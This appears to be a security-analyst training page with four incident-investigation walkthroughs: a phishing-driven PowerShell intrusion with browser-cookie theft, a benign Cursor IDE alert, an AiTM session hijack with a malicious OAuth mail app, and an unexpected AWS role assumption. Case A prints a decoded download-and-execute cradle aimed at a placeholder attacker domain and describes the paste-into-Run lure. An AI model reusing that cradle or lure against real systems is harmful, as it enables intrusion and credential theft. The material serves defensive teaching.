Uncover working example
Four walkthroughs, one standard of evidence: an endpoint intrusion, a benign true positive, an identity-only SaaS compromise, and a cloud control-plane alert. Each pulls evidence from the right sources, correlates it, and produces the narrative the next phases need.
The four cases differ in where the evidence lives and what joins it. Each walkthrough shows only Uncover’s steps; the case files carry each case’s whole thread and set the four side by side.
Case A · The finance-team evidence pull
Previously, in Scope’s Case A: a phishing-driven intrusion with a live beacon, a 72-hour primary window with a 4-week extended look at the three primary entities, fleet and tenant sweeps, and possible PCI and candidate GDPR exposure flagged for compliance. The whole case is in the case files. The spine here is host, process and client source port, then the account and its session.
Pulling the evidence on the finance-team intrusion
The escalation tripwire was met at 09:24 UTC and the page has not gone out, so read this as the work that should be running as scoping support under IR's clock. Uncover begins at 09:50.
Step 1. Endpoint telemetry
EDR for laptop-finance-09 over the 72-hour window. The chain is short: explorer.exe → powershell.exe, with the RunMRU value Explorer wrote one second before the launch and Chrome’s visit to the same domain 95 seconds before that. The encoded command decodes to a download cradle that pulls a script from invoice-records[.]example/upd and runs it in memory; the stage also writes a copy of itself to %TEMP%\upd.ps1, SHA-256 captured. Script Block Logging holds the stage’s full text, preserved for IR. This account has never run PowerShell before. The hash matches one commodity-loader campaign entry in the threat-intelligence platform: one indicator in one category, so attribution is LOW.
EDR process event, laptop-finance-09, 2026-03-03 09:11:41 UTC
chain: explorer.exe (4416) -> powershell.exe (8128)
runmru: value written by explorer.exe (4416) at 09:11:40: same command line, then a decoy comment
cmdline: powershell.exe -NoP -W Hidden -EncodedCommand SQBFAFgAIAAoAE4AZQB3...
decoded: IEX (New-Object Net.WebClient).DownloadString('https://invoice-records[.]example/upd')
File write, 09:11:44 UTC
process: powershell.exe (8128)
path: C:\Users\dlin\AppData\Local\Temp\upd.ps1 (the stage's copy of itself)
sha256: captured and recorded in the case fileMapped to ATT&CK: T1566.002 (Spearphishing Link) → T1204.004 (User Execution: Malicious Copy and Paste) → T1059.001 (PowerShell, with T1027.010 Command Obfuscation and T1564.003 Hidden Window) → T1105 (Ingress Tool Transfer).
Step 2. Network correlation
With an explicit proxy, EDR sees powershell.exe connect to the proxy, not to the destination, so the join to the proxy’s lines runs on host, client source port and time: the source port EDR records for PID 8128 ties each proxy line to the process. Registration data (RDAP, formerly WHOIS) shows the domain created 2026-02-27, with a domain-validated certificate issued the same day; free certificates are normal for C2 now. Passive DNS shows low global prevalence, and the environment has no prior requests to it. The destination, 203.0.113.77, sits at a hosting provider common in commodity-phishing reporting. Connections repeat roughly every 30 seconds, and the one at 09:19:40 sends far more than it receives; step 3 explains it. Scope’s sweep at 10:30 finds a second host: laptop-finance-14, Finance user 3’s laptop, shows one browser visit at 09:57:06 and no other process talking to the domain. Whether anything ran there is queued for step 4.
time client user request bytes_out bytes_in
09:11:43 laptop-finance-09:52114 dlin CONNECT invoice-records[.]example:443 612 18432
09:11:57 laptop-finance-09:52119 dlin CONNECT invoice-records[.]example:443 540 1102
09:12:29 laptop-finance-09:52127 dlin CONNECT invoice-records[.]example:443 538 1088
09:19:40 laptop-finance-09:52388 dlin CONNECT invoice-records[.]example:443 48211 734
EDR network event, 09:11:43 powershell.exe (8128) local port 52114 -> proxy:8080
rdap: domain created 2026-02-27, 4 days before the alert
certificate: domain-validated, issued 2026-02-27 (Certificate Transparency)
passive DNS: low global prevalence
proxy history: no prior requests from this environment
sweep 10:30: laptop-finance-09; laptop-finance-14 (browser only, 09:57:06); re-run in step 4Mapped to ATT&CK: T1071.001 (Application Layer Protocol: Web Protocols); the 09:19:40 upload is T1041 (Exfiltration Over C2 Channel).
Step 3. Identity logs
dlin’s sign-ins over the window are normal: corporate network, no anomalous geography, no MFA bypass, no authentication methods added. The endpoint says otherwise. At 09:19:10 the stage opens chrome.exe with memory read and write access, and at 09:19:12 it reads the browser’s cookie store: that is the 09:19:40 upload. Chrome’s app-bound encryption ties the cookie key to the browser, which is why the stage went into the browser process first. At 10:41:07 the identity provider records a sign-in to the cloud finance reporting platform as dlin from 198.51.100.23, a hosting-provider address new to this tenant, riding dlin’s existing SSO session with no MFA prompt and a user agent that does not match dlin’s browser. laptop-finance-09 made no connection to the IdP or the platform at that moment, and the platform’s own log shows the same session. That discrimination turns “a login happened” into evidence: the session was replayed from somewhere else. The analyst finds it at 11:05, twenty-four minutes after it happened. The 4-week extended look at the three primary entities closes here, checked and clean: no earlier anomalous sign-ins, unfamiliar consent grants or staging.
EDR process access, laptop-finance-09, 09:19:10 UTC
source: powershell.exe (8128)
target: chrome.exe access: memory read/write
EDR file-access event, 09:19:12 UTC
process: powershell.exe (8128)
read: ...\User Data\Default\Network\Cookies (browser cookie store)
IdP sign-in, cloud finance reporting platform, 10:41:07 UTC
principal: dlin session: existing SSO session, no MFA prompt
source IP: 198.51.100.23 (hosting provider; first seen for this tenant)
user_agent: does not match dlin's browser (compared against the morning's sign-ins)
laptop-finance-09 at 10:41: no connection to the IdP or the platformMapped to ATT&CK: T1539 (Steal Web Session Cookie) → T1550.004 (Use Alternate Authentication Material: Web Session Cookie).
Record whether the target binds sessions to a device (Device Bound Session Credentials in Chrome, token protection in the identity provider): where it does, a lifted cookie fails from another machine, so the control decides whether a replay was even possible.
Escalation tripwire check: criterion 1 (confirmed malicious activity not fully contained by a control) was met at 09:24 UTC, at the end of Alert, and the page still has not gone out. The 11:05 finding adds criteria 2 and 3: an attacker-held session on a platform that stores EU vendor-contact personal data and feeds vendor payments, and session material sent over the C2 channel and replayed. Under the stopping rules, IR should already own this case. The walkthrough keeps going so you can see each step; the Escalation decision example shows what the delay cost.
Step 4. Mail and SaaS
Message trace shows the originating email: vendor-themed, no attachment, one link to a page on invoice-records[.]example that the gateway had no reputation for at delivery. With no file, the Mark of the Web and macro blocks had nothing to act on; the page persuades, and the user’s paste into the Run dialog is the execution step. It reached dlin and three other finance-team mailboxes at 09:02:11. Whether anyone acted is an endpoint question, so EDR on the recipients’ hosts is queried at 11:30 and the sweep re-run at 12:00. On laptop-finance-14, Finance user 3 pasted the command at 09:57 and the EDR’s script-control prevention policy, piloted on that laptop, blocked powershell.exe at launch: nothing ran, and the prevented event did not page the queue. On laptop-finance-12, Finance user 2 followed the link at 10:52 and the full chain ran, ending with a cookie-store read at 10:58. No alert fired: the laptop was off the corporate network without the VPN, so its C2 traffic never crossed the proxy the rule reads. Finance user 4 never opened the message. Finance user 2 and laptop-finance-12 move to primary. The cloud finance platform’s in-app logs, requested from the vendor during Scope, have not arrived: the platform shows the 10:41 sign-in and a session still active, and nothing about what that session did. That is a gap, not a clean result.
Message trace (email gateway)
delivered: 2026-03-03 09:02:11 UTC, dlin + 3 finance-team mailboxes
subject: Overdue invoice: remittance required
from: accounts@invoice-records[.]example
body: one link to invoice-records[.]example; no attachment
EDR per recipient host (queried 11:30, sweep re-run 12:00)
laptop-finance-09 dlin link 09:10:05; RunMRU 09:11:40; chain ran 09:11:41
laptop-finance-14 user 3 link 09:57:05; powershell.exe blocked at launch 09:57:41 by the pilot
prevention policy; no script, no network; no RunMRU; sensor healthy
laptop-finance-12 user 2 link 10:52:14; RunMRU 10:53:00; chain ran 10:53:01;
off network, no VPN: C2 direct, not via proxy; cookie store read 10:58:40
laptop-finance-07 user 4 link never followed; message unreadMapped to ATT&CK: T1566.002 (Spearphishing Link), T1204.004 (User Execution: Malicious Copy and Paste).
What a less experienced analyst could miss: the quiet hosts. Neither peer raised an alert, so it is tempting to file both as clean. Absence of the chain is not evidence of safety until the absence is explained: was the launch blocked, did the payload fail, or is the sensor not reporting? “Checked, no chain, sensor healthy, prevention event found” is a finding; “no alert from that host” is a gap wearing a verdict’s clothes. An empty RunMRU key proves nothing either, because Windows records a Run-dialog command only if it launched. And the proxy sweep found the host where the control worked, not the one where the attack succeeded.
Step 5. Map to ATT&CK and finalize the narrative
The complete chain:
T1566.002 Spearphishing link delivered to 4 finance-team mailboxes (09:02)
T1204.004 User execution: 3 users pasted the lure's command into the Run dialog; it ran on 2 hosts, blocked on 1
T1059.001 Encoded, hidden PowerShell download cradle (T1027.010, T1564.003)
T1105 Ingress tool transfer: stage pulled from invoice-records[.]example
T1071.001 HTTPS beacon to attacker-controlled domain
T1539 Browser session cookies stolen on both executing hosts
T1041 Session material sent over the C2 channel (09:19:40)
T1550.004 dlin's stolen session cookie replayed against the cloud finance platform (10:41)Two confirmed compromises (laptop-finance-09 and laptop-finance-12) and one execution stopped by a control (laptop-finance-14), all members of one case. The riskiest member sets its level, and the blocked host is recorded as contained, not dropped. Host-to-host lateral movement is refuted (no SMB, WMI, RDP, WinRM, or SSH to peers in the window); the identity pivot into the platform is confirmed.
Uncover packages its artifacts for Risk: the evidence chain above, the confirmed entities (two compromised hosts and their users, dlin’s federated identity, the contained third host), the intelligence context (attribution LOW; the C2 domain matches no prior intel), the coverage gaps (in-app activity pending from the vendor, off-proxy hosts visible only in EDR, BYOD phones invisible), the detection gaps (the rule’s network leg reads only the proxy; nothing alerted on the cookie theft or the replay), and the hypothesis ledger. The transition page shows the full handoff.
Predict first.
Key takeaway
Uncover combined endpoint Endpoint A device that runs an operating system and applications and connects to the network: workstation, laptop, server, virtual machine, phone, tablet. Endpoints are where execution-based tradecraft (malware, scripts, hands-on-keyboard commands) shows up, which is why EDR exists. Identity, SaaS and cloud-control-plane attacks, and attacks on network appliances that cannot run EDR, may never touch one, so endpoint silence is not proof of absence. , network, identity, and mail evidence into one chain. Each source answered a different question, and the source that never answered (the vendor’s in-app logs) is named as a gap rather than read as quiet.
Case B · Confirming a benign true positive on the developer workstation
Previously, in Scope’s Case B: a narrow boundary on one managed macOS developer workstation and its frontend engineer, EDR primary, one bounded extension-layer check and one count-only fleet query. The whole case is in the case files. Case A’s chain confirmed compromise; here the hypothesis is still “compromise”, and the evidence has to rule it out with explicit confidence, held to the same standard.
Pulling the evidence on the Cursor IDE alert
Window 13:03 to 14:48 UTC with a forward watch to 18:03. The alert: Cursor Helper (Plugin), the Cursor IDE's extension host, launched a child that opened encrypted connections, a pattern that looked like Empire but came from a signed vendor binary, on a host where the user also drives a coding agent. Uncover begins.
Step 1. Endpoint telemetry
EDR data from CrowdStrike, scoped to the time window.
- 14:03:02 UTC. User opened Cursor from the Dock (launchd → Cursor), on the frontend repository’s workspace.
- 14:03:09–14:03:11 UTC. Cursor started its extension host, Cursor Helper (Plugin), without a sandbox. The extension host launched a child (PID 41877) running a script from the app bundle’s built-in extensions directory, and the child opened TLS to
repo42.cursor.shandapi2.cursor.sh. The alert fired at 14:03:11. The child exited at 14:05:52. - 14:03:20 UTC. User prompted Cursor’s coding agent to find why the authentication tests fail on the migration branch. The agent’s commands run in a zsh shell the IDE launched for its terminal, not under the extension host or its child.
- 14:03–14:08+ UTC. From that shell, the agent ran a ripgrep search for a test-fixture string, git commands reading test files in the
AuthFlowAandAuthFlowBmodules, the JavaScript test runner, and git fetches for a specific pull request, then checked outfeat-migrate-auth-flow. - Binary identity. The on-disk hash matches the vendor-signed release for the installed version, which matches the MDM record; signature, notarization and Team ID verify. The extension host and its indexing child appear with the same command lines on every IDE launch in the 14-day history.
- Human or agent. Both: the agent ran the commands, at the user’s request. The IDE’s local agent-activity record for the window (collected read-only) holds the prompt and every command the agent ran, and each matches an EDR process event under the agent’s shell. Every command serves the prompt, the files read are inside the workspace, and no MCP tool was called. No command departs from the prompt after the agent read the repository, the pull request or a command’s output, which is where an indirect prompt injection would show. The test run executed the branch’s own code, so its child processes got the same destination and credential-path checks as the rest of the window.
Process tree, command lines, file access and the agent record all align with the user’s documented role.
Mapped to ATT&CK: nothing in this sequence maps to an attack technique. Record that explicitly, so the handoff says “behavior is consistent with role” rather than leaving the question open.
Step 2. Network and extension-layer analysis
- Cursor TLS sessions. Every session from the extension host and its child went to Cursor-owned hosts on the vendor’s published allowlist (
repo42.cursor.sh,api2.cursor.sh,api3.cursor.sh), with valid certificates matching the requested names and byte counts that fit indexing and completion traffic. No direct connections to third-party model providers. - Everything else. Corporate version-control hosts, internal development services and collaboration tools, all previously seen, on standard ports. No beaconing, no tunneling, no unusual volume, no DGA-like or known-malicious resolutions.
- Owning extension. The child’s script sits in the app bundle’s built-in extensions directory, covered by the bundle signature. The extension ships with Cursor; the user did not install it.
- User-installed extensions. All on the approved list, all from publishers peers also use; none installed or updated in the 14 days before the alert.
- MCP servers. One approved internal documentation server in
~/.cursor/mcp.json, unchanged in the comparison window; no workspace.cursor/mcp.json. - Workspace tasks.
.vscode/tasks.jsondefines the test task only; nothing runs on folder open.
The extension layer explains the child: the TLS calls that matched Empire patterns went to Cursor’s own allowlisted infrastructure, from vendor code inside the signed bundle. It gets its own check because the signature does not reach it: extensions, MCP servers, workspace tasks and the agent’s commands all run under the signed application, so a valid signature says nothing about the code they bring or the commands they run.
Step 3. Tooling coverage gaps
Uncover reports what it could not see as well as what it found.
- CrowdStrike on macOS: active, capturing process execution, file access, network traffic. Primary source, working as expected.
- Encrypted content: the egress proxy records TLS metadata only (destination name, certificate, byte counts) and does not inspect content to the vendor’s endpoints. What was sent is not visible; where it went is.
- USB device control: not deployed on this host class. Offline data movement cannot be ruled out from telemetry; nothing in the window gathered or archived data for it.
- Persistence mechanisms (LaunchAgents, LaunchDaemons): reviewed via EDR file activity. No new entries during the window.
Neither gap sits under the verdict question, which is what code ran and where it connected; endpoint telemetry Telemetry The event streams that endpoints, network sensors, identity providers, SaaS apps and cloud control planes emit about what happened on them. Triage can only see what was collected: when telemetry is missing for a host or time window, record it as a gap (unknown is not Low), not as clean. and TLS metadata answer both. So “unknown is not Low” does not pull confidence down here, and the record says exactly that: “no positive evidence supports expansion at this time, gaps documented, will revisit if new signals surface”, with a reopen trigger for each gap.
Step 4. Behavioral correlation against the role baseline
Subject established this user’s baseline as consistent with the activity. Uncover tests that claim with deeper telemetry.
- Peer comparison. The one count-only fleet prevalence query Scope allowed, run at 14:44: eleven other managed developer Macs on the same Cursor build show the same extension-host child and destination set over the past 30 days, three of them on this user’s team. No per-host investigation.
- Historical workflow. The last 14 days show consistent IDE use, regular git activity and the same outbound destinations. The 14:03 sequence is part of a continuous workflow, not a sudden anomaly.
- No persistence created. No new LaunchAgents or LaunchDaemons, login items or shell-profile changes.
- No credential access. No reads of
~/.ssh,~/.aws,~/.npmrc,~/.config/gh, browser profiles or~/Library/Keychains, nosecuritycommand invocations, no new SSH keys.
Four checks agree with the role-consistent reading. Count them honestly: they draw on three sources (the EDR sensor, the egress proxy, the MDM inventory), so they are consistent lines of evidence rather than four independent ones, and a blind spot in the sensor would touch most of them.
Step 5. Verdict and handoff
- Verdict: benign true positive. Detection axis: true positive; the logic flagged a process-behavior pattern that genuinely occurred and overlaps with Empire tradecraft. Activity axis: authorized (benign true positive); a bundled Cursor extension, running in the signed extension host in its documented configuration, indexed the workspace while the user, and the coding agent at the user’s request, worked on the authentication tests.
- Confidence: High. Direct evidence from EDR, corroborated by the proxy and the MDM inventory, with the alternatives (a malicious or newly updated extension, an MCP server or workspace task, an agent command the user did not ask for, credential theft) each tested and ruled out. The two named gaps sit beside the verdict question, so they do not lower it.
- ATT&CK chain: none. The alternatives ruled out would have mapped to T1176.002 (Software Extensions: IDE Extensions) and T1195.001 (Compromise Software Dependencies and Development Tools).
- Detection feedback: no change to the rule logic; it fired on exactly what it describes. Two requests: enrich the alert with the extension ID, the child’s command line and the destination set; and, if the close holds, a pattern-entry proposal keyed to that tuple (Cursor build, bundled extension ID, destination set), never to signer and install path alone, with the expiry, owner and re-fire triggers the exception rules require.
- Open questions for Risk: the cell. Impact if real turns on the host’s SSH reach into the build environment; Risk scores it and recommends the move. Carried forward to the program: is TLS-metadata-only visibility to AI-tool vendor endpoints, with no USB device control, acceptable for the developer-workstation population?
A benign true positive Benign True Positive An alert that fired on exactly the activity its detection logic describes, where that activity turns out to be authorized or expected in the local context: a red-team exercise, an admin's sanctioned use of a dual-use tool, a scanner doing its job. In the verdict record it is a true positive on the detection axis and authorized on the activity axis. The detection worked; the context clears it. Distinct from a false positive, where the logic matched something it should not have, so never record it as one. The close does not tune the rule, which is healthy. It feeds context instead: a pattern-entry proposal, or a scoped, expiring exception keyed to the tool version, extension or plugin ID and destination set, with an owner and re-fire triggers. Platform labels differ: Microsoft Sentinel calls this verdict Benign Positive, and Defender XDR calls it Informational, expected activity. Full entry: ASSURED terms. handled this way is documented, evidenced and bounded, not dismissed, and it can be reopened with full context. Without the write-up, the same alert fires next week and the analyst starts from zero.
Predict first.
The inverse case: when the trusted component IS the threat
Case B cleared a signed binary only after inventorying the code running inside it. Do not take away the wrong prior (trusted vendor, valid signature, role-consistent, therefore benign): in a supply-chain compromise every one of those signals is inverted, as SolarWinds, the XZ Utils backdoor (CVE-2024-3094), the tj-actions/changed-files compromise (CVE-2025-30066) and the Shai-Hulud npm worm showed. What still discriminates is behavior: new destinations, new resources touched, a shift right after an update. The entity-types page states the rule: a trusted-component alert is cleared by baseline-deviation analysis, never by the trust itself.
Case C · Pulling the evidence on the hijacked session
Previously, in Scope’s Case C: the escalation tripwire fired at the end of Alert (09:22), IR has owned the case since 09:28, and the boundary puts rvega’s account, the replayed session, the consented OAuth app and the second user’s credential-exposed account at full depth, with a tenant-wide sweep. The whole case is in the case files. Uncover runs as IR-assigned scoping support, with the session ID and the account as its join keys, and findings go to the IR lead as they land.
Pulling the evidence on the SaaS token theft
AiTM session theft with BEC staging, window from 08:00 today through containment plus one token lifetime, 14-day tenant lookback, GDPR flagged with a candidate awareness timestamp. Reversible containment has held since 09:27. Every query runs against identity and tenant logs. Uncover begins at 10:00.
Step 1. The IdP sign-in chain
The identity provider’s logs anchor the case. Two sessions appear, and the one that matters was born through the proxy and then moved.
IdP sign-in log, rvega (UTC)
08:47:19 interactive sign-in corporate laptop home ASN MFA: satisfied session S1
08:52:41 (email gateway: click on "shared document" link, docs-share-portal[.]example, verdict pending)
08:53:37 interactive sign-in her browser's UA 203.0.113.41 AS64501 password + MFA push session S2 issued
09:03:12 session S2 presented unknown device 198.51.100.77 AS64502 MFA: none (token reuse)
fingerprint mismatch geo: different country no authentication event behind it
09:31:04 session S2 presented unknown device 198.51.100.77 refused (revoked 09:25)S1 is rvega’s own and never leaves her laptop. S2 was born at 08:53:37, under a minute after the click, in a sign-in from a hosting IP that relayed her browser’s user agent: the proxy passing her password and MFA approval through as she typed them. The 09:03 presentation of S2 from a second network is the replay; with no authentication ceremony behind it, the attacker did not log in, they resumed. Confidence is high on the replay (the tenant audit in Step 2 carries the same session ID from the same VPS IP, an independent source) and high on the proxy capture (the gateway click, the 08:53 hosting-IP sign-in, rvega’s account of the push she approved, and the kit fingerprint in Step 4).
Nothing bound S2 to rvega’s device: Conditional Access required no compliant device and no token protection, so the cookie worked from anywhere. That control gap is recorded beside the replay.
Mapped to ATT&CK: T1566.002 (Spearphishing Link) → T1557 (Adversary-in-the-Middle) → T1539 (Steal Web Session Cookie) → T1550.004 (Web Session Cookie).
Step 2. Tenant audit reconstruction
The unified audit log reconstructs what the attacker did with the session, in order:
Tenant audit log, rvega's mailbox (UTC)
09:06:55 New-InboxRule name: "." move to RSS Subscriptions + mark as read
conditions: subject/body contains "invoice", "payment", "bank"
session S2 client IP 198.51.100.77
09:09:30 Consent to application app: "Mail Backup Sync" publisher: unverified
scopes: Mail.Read offline_access session S2
09:14-09:26 MailItemsAccessed (Bind) by app "Mail Backup Sync" from 192.0.2.66:
~1,800 messages, each logged by InternetMessageId, billing threads included
09:18:02 mailbox search: "remittance" 09:18:40 mailbox search: "wire" (session S2)
09:26:41 last app read in the audit; none after itThe rule and consent events are confirmed. The app’s reads are confirmed at item level: the access records, which reached the audit search from 10:02, list every message, and any folder that appears only as a sync is treated as fully accessed. The last app read sits within a minute of the 09:26 sign-in disable; the timeline states the two times side by side and does not claim the disable caused the stop. At 10:08 the analyst tells IR that high impact and exfiltration are now confirmed too (the content reached the app’s external backend, presumed attacker-controlled), and compliance receives the message list at 10:22.
Mapped to ATT&CK: T1564.008 (Email Hiding Rules) → T1671 (Cloud Application Integration: OAuth app consented from the hijacked session for standing mailbox access) → T1114.002 (Remote Email Collection through the app’s token; the token use itself is T1550.001, Application Access Token).
Step 3. The tenant-wide sweep
Scope bounded the sweep to one set of queries, run once, from the identity-persistence sweep checklist:
- Sign-ins from the proxy IP, all users, 14 days: two. rvega’s at 08:53:37 (MFA satisfied, S2 issued) and the second click-through user’s at 08:54:49 (password accepted, MFA not completed, no token). They match the gateway’s two clicks.
- Sessions from the attacker ASN, and session IDs seen from more than one network: one result each, both S2.
- Consent grants to the same app ID, and inbox or forwarding rules of the same shape: one result each, both on rvega’s mailbox.
- MFA methods or devices registered from either attacker IP, and CRM sign-ins from attacker infrastructure: none.
- The second click-through user: credential-exposed, not clean. She reached the kit’s credential step, so the proxy has her password: session theft is ruled out, credential theft is not. Subject reported her to IR; her sessions were revoked at 09:41, and her password was reset and her MFA methods reviewed at 09:44 with IR’s approval. No further sign-in attempt against her account from either attacker network.
The blast-radius statement goes to IR at 10:14: one account under attacker control, one session, one app grant, one more exposed password already reset, zero lateral spread observed, with the queries behind each “zero” named in the case file.
Step 4. App activity and intelligence context
- What the app read. About 1,800 messages, billing threads included, each named by its message ID. The GDPR assessment works from that list, not from an estimate.
- The phishing infrastructure.
docs-share-portal[.]examplewas registered nine days ago, its certificate issued the same day, and its page fingerprint matches a commodity AiTM kit family per current vendor reporting. The proxy IP sits on hosting ASN AS64501 and the replay VPS on AS64502. Medium confidence on the kit identification, high on the infrastructure being purpose-built. - No outbound mail sent. Message trace and the audit’s send records agree: no messages left the mailbox during the attacker window, and no forwarding rule or delegate was added. The BEC play was interrupted at the collection stage.
What a less experienced analyst could miss: where the “no outbound mail” claim has to come from. Sent Items proves nothing, because an attacker who sends a payment-redirect message deletes it in the same minute; the audit log records the send regardless. Negative claims are only as strong as the source that cannot be cleaned up.
Step 5. Map to ATT&CK and complete the handoff packet
T1566.002 Spearphishing link delivered to 4 customer-success users at 08:41
T1557 AiTM proxy relayed rvega's 08:53 sign-in, password and MFA approval included
T1539 Session cookie for S2 captured at the proxy
T1550.004 S2 replayed from attacker infrastructure at 09:03
T1564.008 Inbox rule "." hiding payment-themed mail from 09:06
T1671 OAuth app consented from the hijacked session for standing mailbox access at 09:09
T1114.002 Remote mail collection through the app's token, 09:14-09:26The chain confirms the active compromise the escalation tripwire fired on at 09:22 and adds two more confirmed criteria, high impact and exfiltration, already sent to IR at 10:08. Per the stopping rules, Uncover as scoping support stops when IR’s scoping questions are answered, not when the evidence runs out: the open items (the final GDPR determination, reuse of the relayed passwords elsewhere) go to the handoff packet as pending. Risk scores the case for the record.
Predict first.
Key takeaway
The token-theft case ran the same Uncover discipline as the endpoint cases with a different spine: the session ID and the account were the join keys, the IdP and tenant audit logs were the primary sources, every finding went to IR as it landed, and the tenant sweep’s recorded negative results are what make “one account taken, one more exposed and reset, nothing else” a defensible claim instead of a hope.
IAM mini-example · The unexpected role assumption
The same method works on the cloud control plane, where the join keys are the principal, the role session, and the API call. This shorter walkthrough is a standalone case, not one of the threaded ones.
An unexpected AssumeRole in AWS at 02:14 UTC
GuardDuty raises Exfiltration:S3/AnomalousBehavior: the ci-data-export role session, assumed at 02:14 UTC from a senior data engineer's SSO-federated session, is reading regulated-pii-bucket in a pattern outside the role's CI baseline. The role is normally used only by a CI pipeline. The engineer is long-tenured, and the time is outside their usual window. Subject and Scope set narrow bounds (this user, this role, this bucket, alert minus 1 hour through alert plus 4). Uncover begins.
Step 1. CloudTrail correlation
Pull the user’s CloudTrail events over the time window plus 7 days of baseline.
- 02:13:58 UTC.
sts:GetCallerIdentityfrom the user. Source IP resolves to a corporate VPN egress. - 02:14:02 UTC.
sts:AssumeRoleforarn:aws:iam::<account>:role/ci-data-export, session namelocal-investigation-2026-05-12. - 02:14–02:31 UTC. Eight
s3:GetObjectcalls againstregulated-pii-bucket, all against keys matchingquarterly-export/*. - Baseline check. The user has assumed other roles regularly, but not
ci-data-export. The role’s IAM description and the data-platform runbook designate it automation-only, and the data-handling standard prohibits human use of pipeline roles. The trust policy never enforced that, so the role remains assumable by anyone in thedata-engineersgroup.
Candidate mapping, pending the authorization verdict: T1078.004 Valid Accounts: Cloud Accounts + T1530 Data from Cloud Storage.
Step 2. IdP context
The engineer’s AWS access is federated through IAM Identity Center, so every role session starts at the IdP.
- SSO login at 02:13:14 UTC, FIDO2 second factor satisfied, registered device matches the user’s laptop.
- No impossible travel signal; same region as their typical sign-in.
- No OAuth consent grant events or new app authorizations in the prior 14 days.
- No stale-credential indicators: the API calls use credentials minted by this fresh STS session, not a long-lived access key.
The clean identity surface makes the patterns checked (impossible travel, consent abuse, old-key reuse) less likely. It does not establish who was at the keyboard, and a fresh STS session is still a credential that can be lifted from the laptop and replayed while it lives. Clean authentication lowers the odds of some compromise paths; it is not evidence of authorization.
Step 3. Bucket access pattern
The actions inside the assumed role’s session decide whether this matters.
- Eight objects read. All from
quarterly-export/. NoListObjectscalls (the API behind thes3:ListBucketpermission), so no reconnaissance, and no traversal into other prefixes. - No write, no delete. No new objects, no
s3:DeleteObject, no bucket-policy or ACL changes. - Source check. The same corporate VPN throughout. That proves where the API calls came from; it says nothing about where the 120 MB went after it landed on the laptop, which CloudTrail cannot answer.
- Object size. About 120 MB across the eight keys, consistent with quarterly export files. Consistency with an export is not evidence of an authorized export; the same eight files are what a data thief with this role would take.
Step 4. Verdict and gaps
The hypothesis going in was “unexpected role use on regulated data.” The evidence has confirmed the unexpected role use; it has not authorized it:
- Verdict: confirmed policy/control violation, intent and authorization unresolved. Detection axis: true positive. Activity axis: policy violation. A human interactively assumed a role designated for a CI pipeline (automation-only, so any human use departs from its baseline) and read regulated data with it. The two live hypotheses are “engineer doing quarterly-export work by hand” and “someone or something operating through the engineer’s session,” and nothing gathered so far separates them.
- What the subject’s answer is worth: asked over Slack, the engineer replied: manual export, CI was backed up. That answer is a lead to verify, never the verification (verifying with the user sets out why). If the session is attacker-operated, the message asks the attacker to vouch for themselves; if the engineer is a malicious insider, it asks the suspect. Step 2 did not make that contact safe: clean authentication cannot rule out an operator on the laptop, and while compromise or an insider branch is plausibly live the analyst does not message the subject. The quick check was a deliberate, recorded risk decision, not a triage default, which is one more reason the reply is worth so little; verification runs through the ticket owner and the data owner, not the subject.
- What closes the case instead: independent evidence on four points: an approved work item for a manual export, verified with its owner; the data owner’s confirmation that this export, by this person, was authorized; where the 120 MB went after the laptop; and device-level confirmation that the session came from the engineer’s own interactive use. Until those land, the case stays open at its original priority.
- Loose end chased: the role session was named
local-investigation-2026-05-12, which does not describe export work. The engineer’s answer: a reused shell helper stamps that name by default. Plausible, and checked against the helper’s repo, because a misleading session name is also a cheap attacker disguise. - Confidence: High that the access occurred as reconstructed (CloudTrail management and data events agree). Authorization is undetermined: the benign explanation rests on the subject’s word, so confidence in it stays Low until the independent evidence arrives.
- Coverage gaps: S3 data events are on for
regulated-pii-bucketbut off by default elsewhere: a detection-engineering note, not a blocker for this case. - Detection feedback: the alert caught a real control violation, even in the benign branch. Enforce the automation-only designation instead: restrict the trust policy of
ci-data-exportto the CI pipeline’s OIDC principal, and alert on any human AssumeRole into roles tagged automation-only with a custom rule (EventBridge or SIEM), since GuardDuty cannot be tuned on role tags. Downgrading this signal because one case ended benign would tune away the only high-signal detection on that boundary.
A confirmed control violation with a friendly explanation is still a confirmed control violation until someone other than the subject authorizes it.
Predict first.
Key takeaway
Every case on this page joined several sources into one chain: malicious endpoint techniques in Case A, role-consistent activity that ruled out malice with explicit confidence in Case B, identity and tenant logs alone in Case C, the cloud control plane in the IAM mini-example. Same evidence standard, same documentation, same handoff in all four.
Next up
Transition to Risk
The handoff contract: what Uncover passes to Risk, and how to know the case is ready.
Read the handoffTechnical details verified . Product names, defaults and retention change; check your own tenant.